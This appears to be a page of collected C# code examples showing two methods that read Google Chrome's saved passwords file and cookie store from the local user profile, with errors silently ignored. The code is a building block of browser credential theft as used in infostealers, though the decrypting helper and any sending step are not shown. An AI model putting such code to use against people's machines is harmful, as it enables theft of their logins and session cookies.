Beispiel #1
0
 public static List <Field> GetSavedPasswords()
 {
     try
     {
         return(ChromiumBase.Passwords(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
                                                    "Google\\Chrome\\User Data\\Default\\Login Data"), "Chrome"));
     }
     catch (Exception)
     {
         return(new List <Field>());
     }
 }
Beispiel #2
0
 public static List <ChromiumBase.ChromiumCookie> GetSavedCookies()
 {
     try
     {
         return(ChromiumBase.Cookies(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
                                                  "Google\\Chrome\\User Data\\Default\\Cookies"), "Chrome"));
     }
     catch (Exception)
     {
         return(new List <ChromiumBase.ChromiumCookie>());
     }
 }